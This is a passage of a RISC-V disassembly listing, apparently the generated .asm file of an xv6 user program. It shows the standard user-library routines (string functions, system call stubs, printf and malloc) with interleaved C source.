2f6: a809 j 308 <main+0xc6>
2f8: 00001517 auipc a0,0x1
2fc: 93050513 addi a0,a0,-1744 # c28 <l_free+0x10c>
300: 00000097 auipc ra,0x0
304: 5fa080e7 jalr 1530(ra) # 8fa <printf>
308: 4505 li a0,1
30a: 00000097 auipc ra,0x0
30e: 276080e7 jalr 630(ra) # 580 <exit>
0000000000000312 <strcpy>:
312: 1141 addi sp,sp,-16
314: e422 sd s0,8(sp)
316: 0800 addi s0,sp,16
318: 87aa mv a5,a0
31a: 0585 addi a1,a1,1
31c: 0785 addi a5,a5,1
31e: fff5c703 lbu a4,-1(a1)
322: fee78fa3 sb a4,-1(a5)
326: fb75 bnez a4,31a <strcpy+0x8>
328: 6422 ld s0,8(sp)
32a: 0141 addi sp,sp,16
32c: 8082 ret
000000000000032e <strcmp>:
32e: 1141 addi sp,sp,-16
330: e422 sd s0,8(sp)
332: 0800 addi s0,sp,16
334: 00054783 lbu a5,0(a0)
338: cb91 beqz a5,34c <strcmp+0x1e>
33a: 0005c703 lbu a4,0(a1)
33e: 00f71763 bne a4,a5,34c <strcmp+0x1e>
342: 0505 addi a0,a0,1
344: 0585 addi a1,a1,1
346: 00054783 lbu a5,0(a0)
34a: fbe5 bnez a5,33a <strcmp+0xc>
34c: 0005c503 lbu a0,0(a1)
350: 40a7853b subw a0,a5,a0
354: 6422 ld s0,8(sp)
356: 0141 addi sp,sp,16
358: 8082 ret
000000000000035a <strlen>:
35a: 1141 addi sp,sp,-16
35c: e422 sd s0,8(sp)
35e: 0800 addi s0,sp,16
360: 00054783 lbu a5,0(a0)
364: cf91 beqz a5,380 <strlen+0x26>
366: 0505 addi a0,a0,1
368: 87aa mv a5,a0
36a: 4685 li a3,1
36c: 9e89 subw a3,a3,a0
36e: 00f6853b addw a0,a3,a5
372: 0785 addi a5,a5,1
374: fff7c703 lbu a4,-1(a5)
378: fb7d bnez a4,36e <strlen+0x14>
37a: 6422 ld s0,8(sp)
37c: 0141 addi sp,sp,16
37e: 8082 ret
380: 4501 li a0,0
382: bfe5 j 37a <strlen+0x20>
0000000000000384 <memset>:
384: 1141 addi sp,sp,-16
386: e422 sd s0,8(sp)
388: 0800 addi s0,sp,16
38a: ca19 beqz a2,3a0 <memset+0x1c>
38c: 87aa mv a5,a0
38e: 1602 slli a2,a2,0x20
390: 9201 srli a2,a2,0x20
392: 00a60733 add a4,a2,a0
396: 00b78023 sb a1,0(a5)
39a: 0785 addi a5,a5,1
39c: fee79de3 bne a5,a4,396 <memset+0x12>
3a0: 6422 ld s0,8(sp)
3a2: 0141 addi sp,sp,16
3a4: 8082 ret
00000000000003a6 <strchr>:
3a6: 1141 addi sp,sp,-16
3a8: e422 sd s0,8(sp)
3aa: 0800 addi s0,sp,16
3ac: 00054783 lbu a5,0(a0)
3b0: cb99 beqz a5,3c6 <strchr+0x20>
3b2: 00f58763 beq a1,a5,3c0 <strchr+0x1a>
3b6: 0505 addi a0,a0,1
3b8: 00054783 lbu a5,0(a0)
3bc: fbfd bnez a5,3b2 <strchr+0xc>
3be: 4501 li a0,0
3c0: 6422 ld s0,8(sp)
3c2: 0141 addi sp,sp,16
3c4: 8082 ret
3c6: 4501 li a0,0
3c8: bfe5 j 3c0 <strchr+0x1a>
00000000000003ca <gets>:
3ca: 711d addi sp,sp,-96
3cc: ec86 sd ra,88(sp)
3ce: e8a2 sd s0,80(sp)
3d0: e4a6 sd s1,72(sp)
3d2: e0ca sd s2,64(sp)
3d4: fc4e sd s3,56(sp)
3d6: f852 sd s4,48(sp)
3d8: f456 sd s5,40(sp)
3da: f05a sd s6,32(sp)
3dc: ec5e sd s7,24(sp)
3de: 1080 addi s0,sp,96
3e0: 8baa mv s7,a0
3e2: 8a2e mv s4,a1
3e4: 892a mv s2,a0
3e6: 4481 li s1,0
3e8: 4aa9 li s5,10
3ea: 4b35 li s6,13
3ec: 89a6 mv s3,s1
3ee: 2485 addiw s1,s1,1
3f0: 0344d863 bge s1,s4,420 <gets+0x56>
3f4: 4605 li a2,1
3f6: faf40593 addi a1,s0,-81
3fa: 4501 li a0,0
3fc: 00000097 auipc ra,0x0
400: 19c080e7 jalr 412(ra) # 598 <read>
404: 00a05e63 blez a0,420 <gets+0x56>
408: faf44783 lbu a5,-81(s0)
40c: 00f90023 sb a5,0(s2)
410: 01578763 beq a5,s5,41e <gets+0x54>
414: 0905 addi s2,s2,1
416: fd679be3 bne a5,s6,3ec <gets+0x22>
41a: 89a6 mv s3,s1
41c: a011 j 420 <gets+0x56>
41e: 89a6 mv s3,s1
420: 99de add s3,s3,s7
422: 00098023 sb zero,0(s3) # 1000000 <__global_pointer$+0xffeaf7>
426: 855e mv a0,s7
428: 60e6 ld ra,88(sp)
42a: 6446 ld s0,80(sp)
42c: 64a6 ld s1,72(sp)
42e: 6906 ld s2,64(sp)
430: 79e2 ld s3,56(sp)
432: 7a42 ld s4,48(sp)
434: 7aa2 ld s5,40(sp)
436: 7b02 ld s6,32(sp)
438: 6be2 ld s7,24(sp)
43a: 6125 addi sp,sp,96
43c: 8082 ret
000000000000043e <stat>:
43e: 1101 addi sp,sp,-32
440: ec06 sd ra,24(sp)
442: e822 sd s0,16(sp)
444: e426 sd s1,8(sp)
446: e04a sd s2,0(sp)
448: 1000 addi s0,sp,32
44a: 892e mv s2,a1
44c: 4581 li a1,0
44e: 00000097 auipc ra,0x0
452: 172080e7 jalr 370(ra) # 5c0 <open>
456: 02054563 bltz a0,480 <stat+0x42>
45a: 84aa mv s1,a0
45c: 85ca mv a1,s2
45e: 00000097 auipc ra,0x0
462: 17a080e7 jalr 378(ra) # 5d8 <fstat>
466: 892a mv s2,a0
468: 8526 mv a0,s1
46a: 00000097 auipc ra,0x0
46e: 13e080e7 jalr 318(ra) # 5a8 <close>
472: 854a mv a0,s2
474: 60e2 ld ra,24(sp)
476: 6442 ld s0,16(sp)
478: 64a2 ld s1,8(sp)
47a: 6902 ld s2,0(sp)
47c: 6105 addi sp,sp,32
47e: 8082 ret
480: 597d li s2,-1
482: bfc5 j 472 <stat+0x34>
0000000000000484 <atoi>:
484: 1141 addi sp,sp,-16
486: e422 sd s0,8(sp)
488: 0800 addi s0,sp,16
48a: 00054603 lbu a2,0(a0)
48e: fd06079b addiw a5,a2,-48
492: 0ff7f793 zext.b a5,a5
496: 4725 li a4,9
498: 02f76963 bltu a4,a5,4ca <atoi+0x46>
49c: 86aa mv a3,a0
49e: 4501 li a0,0
4a0: 45a5 li a1,9
4a2: 0685 addi a3,a3,1
4a4: 0025179b slliw a5,a0,0x2
4a8: 9fa9 addw a5,a5,a0
4aa: 0017979b slliw a5,a5,0x1
4ae: 9fb1 addw a5,a5,a2
4b0: fd07851b addiw a0,a5,-48
4b4: 0006c603 lbu a2,0(a3) # 40000 <__global_pointer$+0x3eaf7>
4b8: fd06071b addiw a4,a2,-48
4bc: 0ff77713 zext.b a4,a4
4c0: fee5f1e3 bgeu a1,a4,4a2 <atoi+0x1e>
4c4: 6422 ld s0,8(sp)
4c6: 0141 addi sp,sp,16
4c8: 8082 ret
4ca: 4501 li a0,0
4cc: bfe5 j 4c4 <atoi+0x40>
00000000000004ce <memmove>:
4ce: 1141 addi sp,sp,-16
4d0: e422 sd s0,8(sp)
4d2: 0800 addi s0,sp,16
4d4: 02b57463 bgeu a0,a1,4fc <memmove+0x2e>
4d8: 00c05f63 blez a2,4f6 <memmove+0x28>
4dc: 1602 slli a2,a2,0x20
4de: 9201 srli a2,a2,0x20
4e0: 00c507b3 add a5,a0,a2
4e4: 872a mv a4,a0
4e6: 0585 addi a1,a1,1
4e8: 0705 addi a4,a4,1
4ea: fff5c683 lbu a3,-1(a1)
4ee: fed70fa3 sb a3,-1(a4) # ffffff <__global_pointer$+0xffeaf6>
4f2: fee79ae3 bne a5,a4,4e6 <memmove+0x18>
4f6: 6422 ld s0,8(sp)
4f8: 0141 addi sp,sp,16
4fa: 8082 ret
4fc: 00c50733 add a4,a0,a2
500: 95b2 add a1,a1,a2
502: fec05ae3 blez a2,4f6 <memmove+0x28>
506: fff6079b addiw a5,a2,-1
50a: 1782 slli a5,a5,0x20
50c: 9381 srli a5,a5,0x20
50e: fff7c793 not a5,a5
512: 97ba add a5,a5,a4
514: 15fd addi a1,a1,-1
516: 177d addi a4,a4,-1
518: 0005c683 lbu a3,0(a1)
51c: 00d70023 sb a3,0(a4)
520: fee79ae3 bne a5,a4,514 <memmove+0x46>
524: bfc9 j 4f6 <memmove+0x28>
0000000000000526 <memcmp>:
526: 1141 addi sp,sp,-16
528: e422 sd s0,8(sp)
52a: 0800 addi s0,sp,16
52c: ca05 beqz a2,55c <memcmp+0x36>
52e: fff6069b addiw a3,a2,-1
532: 1682 slli a3,a3,0x20
534: 9281 srli a3,a3,0x20
536: 0685 addi a3,a3,1
538: 96aa add a3,a3,a0
53a: 00054783 lbu a5,0(a0)
53e: 0005c703 lbu a4,0(a1)
542: 00e79863 bne a5,a4,552 <memcmp+0x2c>
546: 0505 addi a0,a0,1
548: 0585 addi a1,a1,1
54a: fed518e3 bne a0,a3,53a <memcmp+0x14>
54e: 4501 li a0,0
550: a019 j 556 <memcmp+0x30>
552: 40e7853b subw a0,a5,a4
556: 6422 ld s0,8(sp)
558: 0141 addi sp,sp,16
55a: 8082 ret
55c: 4501 li a0,0
55e: bfe5 j 556 <memcmp+0x30>
0000000000000560 <memcpy>:
560: 1141 addi sp,sp,-16
562: e406 sd ra,8(sp)
564: e022 sd s0,0(sp)
566: 0800 addi s0,sp,16
568: 00000097 auipc ra,0x0
56c: f66080e7 jalr -154(ra) # 4ce <memmove>
570: 60a2 ld ra,8(sp)
572: 6402 ld s0,0(sp)
574: 0141 addi sp,sp,16
576: 8082 ret
0000000000000578 <fork>:
578: 4885 li a7,1
57a: 00000073 ecall
57e: 8082 ret
0000000000000580 <exit>:
580: 4889 li a7,2
582: 00000073 ecall
586: 8082 ret
0000000000000588 <wait>:
588: 488d li a7,3
58a: 00000073 ecall
58e: 8082 ret
0000000000000590 <pipe>:
590: 4891 li a7,4
592: 00000073 ecall
596: 8082 ret
0000000000000598 <read>:
598: 4895 li a7,5
59a: 00000073 ecall
59e: 8082 ret
00000000000005a0 <write>:
5a0: 48c1 li a7,16
5a2: 00000073 ecall
5a6: 8082 ret
00000000000005a8 <close>:
5a8: 48d5 li a7,21
5aa: 00000073 ecall
5ae: 8082 ret
00000000000005b0 <kill>:
5b0: 4899 li a7,6
5b2: 00000073 ecall
5b6: 8082 ret
00000000000005b8 <exec>:
5b8: 489d li a7,7
5ba: 00000073 ecall
5be: 8082 ret
00000000000005c0 <open>:
5c0: 48bd li a7,15
5c2: 00000073 ecall
5c6: 8082 ret
00000000000005c8 <mknod>:
5c8: 48c5 li a7,17
5ca: 00000073 ecall
5ce: 8082 ret
00000000000005d0 <unlink>:
5d0: 48c9 li a7,18
5d2: 00000073 ecall
5d6: 8082 ret
00000000000005d8 <fstat>:
5d8: 48a1 li a7,8
5da: 00000073 ecall
5de: 8082 ret
00000000000005e0 <link>:
5e0: 48cd li a7,19
5e2: 00000073 ecall
5e6: 8082 ret
00000000000005e8 <mkdir>:
5e8: 48d1 li a7,20
5ea: 00000073 ecall
5ee: 8082 ret
00000000000005f0 <chdir>:
5f0: 48a5 li a7,9
5f2: 00000073 ecall
5f6: 8082 ret
00000000000005f8 <dup>:
5f8: 48a9 li a7,10
5fa: 00000073 ecall
5fe: 8082 ret
0000000000000600 <getpid>:
600: 48ad li a7,11
602: 00000073 ecall
606: 8082 ret
0000000000000608 <sbrk>:
608: 48b1 li a7,12
60a: 00000073 ecall
60e: 8082 ret
0000000000000610 <sleep>:
610: 48b5 li a7,13
612: 00000073 ecall
616: 8082 ret
0000000000000618 <uptime>:
618: 48b9 li a7,14
61a: 00000073 ecall
61e: 8082 ret
0000000000000620 <putc>:
static char digits[] = "0123456789ABCDEF";
static void
putc(int fd, char c)
{
620: 1101 addi sp,sp,-32
622: ec06 sd ra,24(sp)
624: e822 sd s0,16(sp)
626: 1000 addi s0,sp,32
628: feb407a3 sb a1,-17(s0)
write(fd, &c, 1);
62c: 4605 li a2,1
62e: fef40593 addi a1,s0,-17
632: 00000097 auipc ra,0x0
636: f6e080e7 jalr -146(ra) # 5a0 <write>
}
63a: 60e2 ld ra,24(sp)
63c: 6442 ld s0,16(sp)
63e: 6105 addi sp,sp,32
640: 8082 ret
0000000000000642 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
642: 7139 addi sp,sp,-64
644: fc06 sd ra,56(sp)
646: f822 sd s0,48(sp)
648: f426 sd s1,40(sp)
64a: f04a sd s2,32(sp)
64c: ec4e sd s3,24(sp)
64e: 0080 addi s0,sp,64
650: 84aa mv s1,a0
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
652: c299 beqz a3,658 <printint+0x16>
654: 0805c963 bltz a1,6e6 <printint+0xa4>
neg = 1;
x = -xx;
} else {
x = xx;
658: 2581 sext.w a1,a1
neg = 0;
65a: 4881 li a7,0
65c: fc040693 addi a3,s0,-64
}
i = 0;
660: 4701 li a4,0
do{
buf[i++] = digits[x % base];
662: 2601 sext.w a2,a2
664: 00000517 auipc a0,0x0
668: 69450513 addi a0,a0,1684 # cf8 <digits>
66c: 883a mv a6,a4
66e: 2705 addiw a4,a4,1
670: 02c5f7bb remuw a5,a1,a2
674: 1782 slli a5,a5,0x20
676: 9381 srli a5,a5,0x20
678: 97aa add a5,a5,a0
67a: 0007c783 lbu a5,0(a5)
67e: 00f68023 sb a5,0(a3)
}while((x /= base) != 0);
682: 0005879b sext.w a5,a1
686: 02c5d5bb divuw a1,a1,a2
68a: 0685 addi a3,a3,1
68c: fec7f0e3 bgeu a5,a2,66c <printint+0x2a>
if(neg)
690: 00088c63 beqz a7,6a8 <printint+0x66>
buf[i++] = '-';
694: fd070793 addi a5,a4,-48
698: 00878733 add a4,a5,s0
69c: 02d00793 li a5,45
6a0: fef70823 sb a5,-16(a4)
6a4: 0028071b addiw a4,a6,2
while(--i >= 0)
6a8: 02e05863 blez a4,6d8 <printint+0x96>
6ac: fc040793 addi a5,s0,-64
6b0: 00e78933 add s2,a5,a4
6b4: fff78993 addi s3,a5,-1
6b8: 99ba add s3,s3,a4
6ba: 377d addiw a4,a4,-1
6bc: 1702 slli a4,a4,0x20
6be: 9301 srli a4,a4,0x20
6c0: 40e989b3 sub s3,s3,a4
putc(fd, buf[i]);
6c4: fff94583 lbu a1,-1(s2)
6c8: 8526 mv a0,s1
6ca: 00000097 auipc ra,0x0
6ce: f56080e7 jalr -170(ra) # 620 <putc>
while(--i >= 0)
6d2: 197d addi s2,s2,-1
6d4: ff3918e3 bne s2,s3,6c4 <printint+0x82>
}
6d8: 70e2 ld ra,56(sp)
6da: 7442 ld s0,48(sp)
6dc: 74a2 ld s1,40(sp)
6de: 7902 ld s2,32(sp)
6e0: 69e2 ld s3,24(sp)
6e2: 6121 addi sp,sp,64
6e4: 8082 ret
x = -xx;
6e6: 40b005bb negw a1,a1
neg = 1;
6ea: 4885 li a7,1
x = -xx;
6ec: bf85 j 65c <printint+0x1a>
00000000000006ee <vprintf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
vprintf(int fd, const char *fmt, va_list ap)
{
6ee: 7119 addi sp,sp,-128
6f0: fc86 sd ra,120(sp)
6f2: f8a2 sd s0,112(sp)
6f4: f4a6 sd s1,104(sp)
6f6: f0ca sd s2,96(sp)
6f8: ecce sd s3,88(sp)
6fa: e8d2 sd s4,80(sp)
6fc: e4d6 sd s5,72(sp)
6fe: e0da sd s6,64(sp)
700: fc5e sd s7,56(sp)
702: f862 sd s8,48(sp)
704: f466 sd s9,40(sp)
706: f06a sd s10,32(sp)
708: ec6e sd s11,24(sp)
70a: 0100 addi s0,sp,128
char *s;
int c, i, state;
state = 0;
for(i = 0; fmt[i]; i++){
70c: 0005c903 lbu s2,0(a1)
710: 18090f63 beqz s2,8ae <vprintf+0x1c0>
714: 8aaa mv s5,a0
716: 8b32 mv s6,a2
718: 00158493 addi s1,a1,1
state = 0;
71c: 4981 li s3,0
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
71e: 02500a13 li s4,37
722: 4c55 li s8,21
724: 00000c97 auipc s9,0x0
728: 57cc8c93 addi s9,s9,1404 # ca0 <l_free+0x184>
printptr(fd, va_arg(ap, uint64));
} else if(c == 's'){
s = va_arg(ap, char*);
if(s == 0)
s = "(null)";
while(*s != 0){
72c: 02800d93 li s11,40
putc(fd, 'x');
730: 4d41 li s10,16
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
732: 00000b97 auipc s7,0x0
736: 5c6b8b93 addi s7,s7,1478 # cf8 <digits>
73a: a839 j 758 <vprintf+0x6a>
putc(fd, c);
73c: 85ca mv a1,s2
73e: 8556 mv a0,s5
740: 00000097 auipc ra,0x0
744: ee0080e7 jalr -288(ra) # 620 <putc>
748: a019 j 74e <vprintf+0x60>
} else if(state == '%'){
74a: 01498d63 beq s3,s4,764 <vprintf+0x76>
for(i = 0; fmt[i]; i++){
74e: 0485 addi s1,s1,1
750: fff4c903 lbu s2,-1(s1) # 40000fff <__global_pointer$+0x3ffffaf6>
754: 14090d63 beqz s2,8ae <vprintf+0x1c0>
if(state == 0){
758: fe0999e3 bnez s3,74a <vprintf+0x5c>
if(c == '%'){
75c: ff4910e3 bne s2,s4,73c <vprintf+0x4e>
state = '%';
760: 89d2 mv s3,s4
762: b7f5 j 74e <vprintf+0x60>
if(c == 'd'){
764: 11490c63 beq s2,s4,87c <vprintf+0x18e>
768: f9d9079b addiw a5,s2,-99
76c: 0ff7f793 zext.b a5,a5
770: 10fc6e63 bltu s8,a5,88c <vprintf+0x19e>
774: f9d9079b addiw a5,s2,-99
778: 0ff7f713 zext.b a4,a5
77c: 10ec6863 bltu s8,a4,88c <vprintf+0x19e>
780: 00271793 slli a5,a4,0x2
784: 97e6 add a5,a5,s9
786: 439c lw a5,0(a5)
788: 97e6 add a5,a5,s9
78a: 8782 jr a5
printint(fd, va_arg(ap, int), 10, 1);
78c: 008b0913 addi s2,s6,8
790: 4685 li a3,1
792: 4629 li a2,10
794: 000b2583 lw a1,0(s6)
798: 8556 mv a0,s5
79a: 00000097 auipc ra,0x0
79e: ea8080e7 jalr -344(ra) # 642 <printint>
7a2: 8b4a mv s6,s2
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7a4: 4981 li s3,0
7a6: b765 j 74e <vprintf+0x60>
printint(fd, va_arg(ap, uint64), 10, 0);
7a8: 008b0913 addi s2,s6,8
7ac: 4681 li a3,0
7ae: 4629 li a2,10
7b0: 000b2583 lw a1,0(s6)
7b4: 8556 mv a0,s5
7b6: 00000097 auipc ra,0x0
7ba: e8c080e7 jalr -372(ra) # 642 <printint>
7be: 8b4a mv s6,s2
state = 0;
7c0: 4981 li s3,0
7c2: b771 j 74e <vprintf+0x60>
printint(fd, va_arg(ap, int), 16, 0);
7c4: 008b0913 addi s2,s6,8
7c8: 4681 li a3,0
7ca: 866a mv a2,s10
7cc: 000b2583 lw a1,0(s6)
7d0: 8556 mv a0,s5
7d2: 00000097 auipc ra,0x0
7d6: e70080e7 jalr -400(ra) # 642 <printint>
7da: 8b4a mv s6,s2
state = 0;
7dc: 4981 li s3,0
7de: bf85 j 74e <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
7e0: 008b0793 addi a5,s6,8
7e4: f8f43423 sd a5,-120(s0)
7e8: 000b3983 ld s3,0(s6)
putc(fd, '0');
7ec: 03000593 li a1,48
7f0: 8556 mv a0,s5
7f2: 00000097 auipc ra,0x0
7f6: e2e080e7 jalr -466(ra) # 620 <putc>
putc(fd, 'x');
7fa: 07800593 li a1,120
7fe: 8556 mv a0,s5
800: 00000097 auipc ra,0x0
804: e20080e7 jalr -480(ra) # 620 <putc>
808: 896a mv s2,s10
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
80a: 03c9d793 srli a5,s3,0x3c
80e: 97de add a5,a5,s7
810: 0007c583 lbu a1,0(a5)
814: 8556 mv a0,s5
816: 00000097 auipc ra,0x0
81a: e0a080e7 jalr -502(ra) # 620 <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
81e: 0992 slli s3,s3,0x4
820: 397d addiw s2,s2,-1
822: fe0914e3 bnez s2,80a <vprintf+0x11c>
printptr(fd, va_arg(ap, uint64));
826: f8843b03 ld s6,-120(s0)
state = 0;
82a: 4981 li s3,0
82c: b70d j 74e <vprintf+0x60>
s = va_arg(ap, char*);
82e: 008b0913 addi s2,s6,8
832: 000b3983 ld s3,0(s6)
if(s == 0)
836: 02098163 beqz s3,858 <vprintf+0x16a>
while(*s != 0){
83a: 0009c583 lbu a1,0(s3)
83e: c5ad beqz a1,8a8 <vprintf+0x1ba>
putc(fd, *s);
840: 8556 mv a0,s5
842: 00000097 auipc ra,0x0
846: dde080e7 jalr -546(ra) # 620 <putc>
s++;
84a: 0985 addi s3,s3,1
while(*s != 0){
84c: 0009c583 lbu a1,0(s3)
850: f9e5 bnez a1,840 <vprintf+0x152>
s = va_arg(ap, char*);
852: 8b4a mv s6,s2
state = 0;
854: 4981 li s3,0
856: bde5 j 74e <vprintf+0x60>
s = "(null)";
858: 00000997 auipc s3,0x0
85c: 44098993 addi s3,s3,1088 # c98 <l_free+0x17c>
while(*s != 0){
860: 85ee mv a1,s11
862: bff9 j 840 <vprintf+0x152>
putc(fd, va_arg(ap, uint));
864: 008b0913 addi s2,s6,8
868: 000b4583 lbu a1,0(s6)
86c: 8556 mv a0,s5
86e: 00000097 auipc ra,0x0
872: db2080e7 jalr -590(ra) # 620 <putc>
876: 8b4a mv s6,s2
state = 0;
878: 4981 li s3,0
87a: bdd1 j 74e <vprintf+0x60>
putc(fd, c);
87c: 85d2 mv a1,s4
87e: 8556 mv a0,s5
880: 00000097 auipc ra,0x0
884: da0080e7 jalr -608(ra) # 620 <putc>
state = 0;
888: 4981 li s3,0
88a: b5d1 j 74e <vprintf+0x60>
putc(fd, '%');
88c: 85d2 mv a1,s4
88e: 8556 mv a0,s5
890: 00000097 auipc ra,0x0
894: d90080e7 jalr -624(ra) # 620 <putc>
putc(fd, c);
898: 85ca mv a1,s2
89a: 8556 mv a0,s5
89c: 00000097 auipc ra,0x0
8a0: d84080e7 jalr -636(ra) # 620 <putc>
state = 0;
8a4: 4981 li s3,0
8a6: b565 j 74e <vprintf+0x60>
s = va_arg(ap, char*);
8a8: 8b4a mv s6,s2
state = 0;
8aa: 4981 li s3,0
8ac: b54d j 74e <vprintf+0x60>
}
}
}
8ae: 70e6 ld ra,120(sp)
8b0: 7446 ld s0,112(sp)
8b2: 74a6 ld s1,104(sp)
8b4: 7906 ld s2,96(sp)
8b6: 69e6 ld s3,88(sp)
8b8: 6a46 ld s4,80(sp)
8ba: 6aa6 ld s5,72(sp)
8bc: 6b06 ld s6,64(sp)
8be: 7be2 ld s7,56(sp)
8c0: 7c42 ld s8,48(sp)
8c2: 7ca2 ld s9,40(sp)
8c4: 7d02 ld s10,32(sp)
8c6: 6de2 ld s11,24(sp)
8c8: 6109 addi sp,sp,128
8ca: 8082 ret
00000000000008cc <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
8cc: 715d addi sp,sp,-80
8ce: ec06 sd ra,24(sp)
8d0: e822 sd s0,16(sp)
8d2: 1000 addi s0,sp,32
8d4: e010 sd a2,0(s0)
8d6: e414 sd a3,8(s0)
8d8: e818 sd a4,16(s0)
8da: ec1c sd a5,24(s0)
8dc: 03043023 sd a6,32(s0)
8e0: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
8e4: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
8e8: 8622 mv a2,s0
8ea: 00000097 auipc ra,0x0
8ee: e04080e7 jalr -508(ra) # 6ee <vprintf>
}
8f2: 60e2 ld ra,24(sp)
8f4: 6442 ld s0,16(sp)
8f6: 6161 addi sp,sp,80
8f8: 8082 ret
00000000000008fa <printf>:
void
printf(const char *fmt, ...)
{
8fa: 711d addi sp,sp,-96
8fc: ec06 sd ra,24(sp)
8fe: e822 sd s0,16(sp)
900: 1000 addi s0,sp,32
902: e40c sd a1,8(s0)
904: e810 sd a2,16(s0)
906: ec14 sd a3,24(s0)
908: f018 sd a4,32(s0)
90a: f41c sd a5,40(s0)
90c: 03043823 sd a6,48(s0)
910: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
914: 00840613 addi a2,s0,8
918: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
91c: 85aa mv a1,a0
91e: 4505 li a0,1
920: 00000097 auipc ra,0x0
924: dce080e7 jalr -562(ra) # 6ee <vprintf>
}
928: 60e2 ld ra,24(sp)
92a: 6442 ld s0,16(sp)
92c: 6125 addi sp,sp,96
92e: 8082 ret
0000000000000930 <free>:
930: 1141 addi sp,sp,-16
932: e422 sd s0,8(sp)
934: 0800 addi s0,sp,16
936: ff050693 addi a3,a0,-16
93a: 00000797 auipc a5,0x0
93e: 3e67b783 ld a5,998(a5) # d20 <freep>
942: a805 j 972 <free+0x42>
944: 4618 lw a4,8(a2)
946: 9db9 addw a1,a1,a4
948: feb52c23 sw a1,-8(a0)
94c: 6398 ld a4,0(a5)
94e: 6318 ld a4,0(a4)
950: fee53823 sd a4,-16(a0)
954: a091 j 998 <free+0x68>
956: ff852703 lw a4,-8(a0)
95a: 9e39 addw a2,a2,a4
95c: c790 sw a2,8(a5)
95e: ff053703 ld a4,-16(a0)
962: e398 sd a4,0(a5)
964: a099 j 9aa <free+0x7a>
966: 6398 ld a4,0(a5)
968: 00e7e463 bltu a5,a4,970 <free+0x40>
96c: 00e6ea63 bltu a3,a4,980 <free+0x50>
970: 87ba mv a5,a4
972: fed7fae3 bgeu a5,a3,966 <free+0x36>
976: 6398 ld a4,0(a5)
978: 00e6e463 bltu a3,a4,980 <free+0x50>
97c: fee7eae3 bltu a5,a4,970 <free+0x40>
980: ff852583 lw a1,-8(a0)
984: 6390 ld a2,0(a5)
986: 02059713 slli a4,a1,0x20
98a: 9301 srli a4,a4,0x20
98c: 0712 slli a4,a4,0x4
98e: 9736 add a4,a4,a3
990: fae60ae3 beq a2,a4,944 <free+0x14>
994: fec53823 sd a2,-16(a0)
998: 4790 lw a2,8(a5)
99a: 02061713 slli a4,a2,0x20
99e: 9301 srli a4,a4,0x20
9a0: 0712 slli a4,a4,0x4
9a2: 973e add a4,a4,a5
9a4: fae689e3 beq a3,a4,956 <free+0x26>
9a8: e394 sd a3,0(a5)
9aa: 00000717 auipc a4,0x0
9ae: 36f73b23 sd a5,886(a4) # d20 <freep>
9b2: 6422 ld s0,8(sp)
9b4: 0141 addi sp,sp,16
9b6: 8082 ret
00000000000009b8 <malloc>:
9b8: 7139 addi sp,sp,-64
9ba: fc06 sd ra,56(sp)
9bc: f822 sd s0,48(sp)
9be: f426 sd s1,40(sp)
9c0: f04a sd s2,32(sp)
9c2: ec4e sd s3,24(sp)
9c4: e852 sd s4,16(sp)
9c6: e456 sd s5,8(sp)
9c8: e05a sd s6,0(sp)
9ca: 0080 addi s0,sp,64
9cc: 02051493 slli s1,a0,0x20
9d0: 9081 srli s1,s1,0x20
9d2: 04bd addi s1,s1,15
9d4: 8091 srli s1,s1,0x4
9d6: 0014899b addiw s3,s1,1
9da: 0485 addi s1,s1,1
9dc: 00000517 auipc a0,0x0
9e0: 34453503 ld a0,836(a0) # d20 <freep>
9e4: c515 beqz a0,a10 <malloc+0x58>
9e6: 611c ld a5,0(a0)
9e8: 4798 lw a4,8(a5)
9ea: 02977f63 bgeu a4,s1,a28 <malloc+0x70>
9ee: 8a4e mv s4,s3
9f0: 0009871b sext.w a4,s3
9f4: 6685 lui a3,0x1
9f6: 00d77363 bgeu a4,a3,9fc <malloc+0x44>
9fa: 6a05 lui s4,0x1
9fc: 000a0b1b sext.w s6,s4
a00: 004a1a1b slliw s4,s4,0x4
a04: 00000917 auipc s2,0x0
a08: 31c90913 addi s2,s2,796 # d20 <freep>
a0c: 5afd li s5,-1
a0e: a88d j a80 <malloc+0xc8>
a10: 00000797 auipc a5,0x0
a14: 31878793 addi a5,a5,792 # d28 <base>
a18: 00000717 auipc a4,0x0
a1c: 30f73423 sd a5,776(a4) # d20 <freep>
a20: e39c sd a5,0(a5)
a22: 0007a423 sw zero,8(a5)
a26: b7e1 j 9ee <malloc+0x36>
a28: 02e48b63 beq s1,a4,a5e <malloc+0xa6>
a2c: 4137073b subw a4,a4,s3
a30: c798 sw a4,8(a5)
a32: 1702 slli a4,a4,0x20
a34: 9301 srli a4,a4,0x20
a36: 0712 slli a4,a4,0x4
a38: 97ba add a5,a5,a4
a3a: 0137a423 sw s3,8(a5)
a3e: 00000717 auipc a4,0x0
a42: 2ea73123 sd a0,738(a4) # d20 <freep>
a46: 01078513 addi a0,a5,16
a4a: 70e2 ld ra,56(sp)
a4c: 7442 ld s0,48(sp)
a4e: 74a2 ld s1,40(sp)
a50: 7902 ld s2,32(sp)
a52: 69e2 ld s3,24(sp)
a54: 6a42 ld s4,16(sp)
a56: 6aa2 ld s5,8(sp)
a58: 6b02 ld s6,0(sp)
a5a: 6121 addi sp,sp,64
a5c: 8082 ret
a5e: 6398 ld a4,0(a5)
a60: e118 sd a4,0(a0)
a62: bff1 j a3e <malloc+0x86>
a64: 01652423 sw s6,8(a0)
a68: 0541 addi a0,a0,16
a6a: 00000097 auipc ra,0x0
a6e: ec6080e7 jalr -314(ra) # 930 <free>
a72: 00093503 ld a0,0(s2)
a76: d971 beqz a0,a4a <malloc+0x92>
a78: 611c ld a5,0(a0)
a7a: 4798 lw a4,8(a5)
